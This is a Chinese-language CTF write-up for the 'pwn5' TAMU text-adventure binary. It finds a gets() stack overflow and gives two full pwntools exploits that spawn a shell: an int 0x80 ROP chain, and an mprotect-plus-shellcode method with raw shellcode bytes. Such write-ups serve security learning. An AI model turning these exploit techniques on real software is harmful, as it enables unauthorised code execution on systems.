1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 print_beginning(); 4 return 0; 5 }
打开IDA,main中调用了print_beginning()。
1 int print_beginning() 2 { 3 int result; // eax 4 char v1; // [esp+Fh] [ebp-9h] 5 6 puts("Welcome to the TAMU Text Adventure!"); 7 puts("You are about to begin your journey at Texas A&M as a student"); 8 puts("But first tell me a little bit about yourself"); 9 printf("What is your first name?: "); 10 fgets(&first_name, 100, stdin); 11 strtok(&first_name, " "); 12 printf("What is your last name?: "); 13 fgets(&last_name, 100, stdin); 14 strtok(&last_name, " "); 15 printf("What is your major?: "); 16 fgets(major, 20, stdin); 17 strtok(major, " "); 18 printf("Are you joining the Corps of Cadets?(y/n): "); 19 v1 = getchar(); 20 corps = v1 == 121 || v1 == 89; 21 printf(" Welcome, %s %s, to Texas A&M! "); 22 if ( corps ) 23 result = first_day_corps(); 24 else 25 result = first_day_normal(); 26 return result; 27 }
观察print_beginning(),发现三个fgets的参数,first_name,last_name等都是全局变量,所以这个print_beginning()函数中,并没有可以攻击的地方。
1 int change_major() 2 { 3 char dest; // [esp+Ch] [ebp-1Ch] 4 5 getchar(); 6 gets(&dest); 7 strncpy(&dest, major, 0x14u); 8 return printf("You changed your major to: %s "); 9 }
然后接着,一个个查看其他函数,发现在change_major()中,调用了gets(),并且参数就存放在栈上,所以这里可以进行栈溢出攻击。
checksec一下,发现NX是开着的,并且由于ASLR都是默认开启的,所以并不能往栈上写入shellcode执行。
在IDA中搜索system函数,也没有。
所以这里就用到了int 80中断来执行system了。
ROPgadget --binary pwn5 | grep 'int 0x80'
用这行指令,找到了int 0x80的gadget。
eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0.
想要调用sys_execve,需要给上面几个寄存器赋值。给寄存器赋值要用到pop指令,接着用ROPgadget来寻找。
ROPgadget --binary pwn5 | grep 'pop'
1 #coding:utf-8 2 from pwn import * 3 io=process('./pwn5') 4 pos_0x80=p32(0x08071005) #地址中不能存在0a,否则就会被当成换行 5 pos_pop1=p32(0x08095FF4) #0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 6 pos_pop2=p32(0x080733B0) #0x080733b0 : pop edx ; pop ecx ; pop ebx ; ret 7 pos_sh=p32(0x080F1A20) 8 pading=b'A'*32 9 10 payload=pading+pos_pop1+p32(11)+pos_sh+p32(0)+p32(0)+p32(0)+pos_pop2+p32(0)+p32(0)+pos_sh+pos_0x80 11 #payload=pading+b'xf4x5fx09x08'+b'x0bx00x00x00'+pos_sh+b'x00x00x00x00'+b'x00x00x00x00'+b'x00x00x00x00'+pos_pop2+b'x00x00x00x00'+b'x00x00x00x00'+pos_sh+pos_0x80 12 13 io.sendline('/bin/sh') #必须得是/bin/sh,如果是sh的话不行 14 io.sendline('/bin/sh') 15 io.sendline('/bin/sh') #三个变量都是全局变量,都可以用 16 io.sendline('y') 17 io.sendline('2') 18 io.sendline(payload) 19 20 io.interactive()
最后写出脚本。
这个题整体思路是很清晰的,是一个int 0x80的入门教学题。
我搜了一下其他的writeup,发现也可以用其他方法来解题。
如图我们可以发现,程序中有mprotect函数。
1 int mprotect(const void *start, size_t len, int prot);
这个是mprotect的函数原型,mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
因为这个题的PIE没有打开,所以bss段的地址不会被随机化,所以我们可以确定这个地址。把shellcode写入到fisrtname中,而firstname是全局变量存放在bss中。再通过调用mprotect将这块bss内存设置为rwx,通过ret返回调用shellcode,就能拿到shell了。
1 coding:utf-8 2 from pwn import * 3 io=process('./pwn5') 4 shellcode=b'x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80' 5 pos_mprotect=p32(0x08072450) 6 pos_firstname=p32(0x080F1A20) 7 pos_bss=p32(0x080F1000) 8 pading=b'A'*32 9 10 payload=b'' 11 payload+=pading 12 payload+=pos_mprotect 13 payload+=pos_firstname #如果参数在栈上,那么构造的栈顶一定是返回地址 14 payload+=pos_bss 15 payload+=p32(0x1000) 16 payload+=p32(7) #栈上的参数是从右往左压入的 17 18 io.sendline(shellcode) 19 io.sendline(' ') 20 io.sendline(' ') 21 io.sendline('y') 22 io.sendline('2') 23 io.sendline(payload) 24 25 io.interactive()